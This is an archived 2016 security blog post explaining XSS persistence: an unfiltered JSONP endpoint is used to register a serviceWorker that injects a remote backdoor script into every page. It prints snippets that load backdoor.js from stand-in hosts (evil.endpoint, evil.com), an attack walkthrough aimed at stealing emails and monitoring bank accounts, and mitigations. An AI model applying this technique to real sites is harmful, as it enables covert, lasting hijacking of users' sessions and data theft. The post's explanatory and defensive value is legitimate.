

XSS persistence using JSONP and serviceWorkers

XSS persistence using JSONP and serviceWorkers - Stuart Larsen, c0nrad's corner.

- Published: 2016-06-17
- Original: <<https://c0nradsc0rner.wordpress.com/2016/06/17/xss-persistence-using-jsonp-and-serviceworkers/>>
- Preserved from: <https://c0nradsc0rner.wordpress.com/2016/06/17/xss-persistence-using-jsonp-and-serviceworkers/> (live) on 2026-10-03
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

One of my favorite exploits in the world is this web attack that allows you to maintain access to a website within a users browser indefinitely. Even if they close the browser and come back without a session you'll still be hooked. It works by combining an unfiltered JSONP route, serviceWorkers, and an XSS to create a persistent backdoor on a website.

Intro to serviceWorkers

serviceWorkers are a relatively new web technology that allow you to intercept web requests. Their original intention was to create a technology that'd allow websites to work offline. serviceWorkers can be used to intercept web requests and return a cached version, making your website usable even with no internet connection.

A great introduction to serviceWorkers can be found [here](#).

But essentially you write a script that'll intercept web requests using the onfetch handler, and check to see if you have the content. If you have the content you return it, if you don't you attempt to make a web request, and cache the response.

[image: [Untitled drawing \(1\).png](#)]

Using ServiceWorkers for evil

serviceWorkers also give you the ability to return arbitrary content.

For example:

```
this.addEventListener('fetch', function(event) {
  event.respondWith(new Response("
<h1> Intercepted!</h1>
"));
});
```

So putting our evil hats on. What if you were to fetch a resource, and then return a modified version of the content?

```
<html>
<body>
.....

<script src="https://evil.endpoint/backdoor.js"> //---- Parse and inject arbitrary
script here without the user knowing

</body>

</html>
```

You could inject your own scripts at the end of each request indefinitely, and the user would have no idea. All other resources get passed through the caching layer unnoticed.

JSONP Endpoint

There's a catch with serviceWorkers though. They can only be installed from a resource on the same domain.

Meaning to install a serviceWorker on c0nrad.io, we'd need to register the serviceWorker like:

```
navigator.serviceWorker.register('https://c0nrad.io/backGroundScript.js')
```

But unfiltered JSONP endpoints come to the rescue! JSONP stands for JSON with padding. But basically a JSONP takes a query parameter and wraps the javascript data in the function.

```
[/jsonp?callback=myAwesomeFunction](https://c0nradsc0rner.wordpress.com/jsonp?callback=myAwesomeFunction) returns:
```

```
var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`
```

This is either useful for bypassing SOP (you can download javascript from a remote domain, but not JSON) or just developer convenience.

But if the JSONP is unfiltered, you can return arbitrary javascript.

Instead ask for:

```
<script src="/jsonp?callback=(code that waits for fetch, and inserts <script src="evil.com/backdoor.js"> into each web request)">
```

Then if you register the service worker using this JSONP endpoint, the serviceWorker factory is happy.

Full Attack Walkthrough

- 1.) Create the final payload (stealing emails, monitoring bank accounts etc)
- 2.) Bootstrap the payload using the JSONP
- 3.) Inject the payload using an XSS onto a victim
- 4.) Enjoy your long lived persistence

Use Cases

I'd mainly use this to maintain persistence and scrape information. The best targets would be email/social media/private forms. You'd have execution and can see anything a user can do.

You could apply it to banks, but, if you already have an XSS, you don't really need this attack. This is just for persistence.

Mitigations

- 1.) Filter your JSONP endpoints. They should only allow alphanumeric and maybe periods and dashes.
- 2.) No XSS. Easier than it sounds, but make sure you're following your frameworks. Input filtering, output encoding. Content-Security-Policy is also awesome, but if you have an open JSONP endpoint it's not going to do too much good.

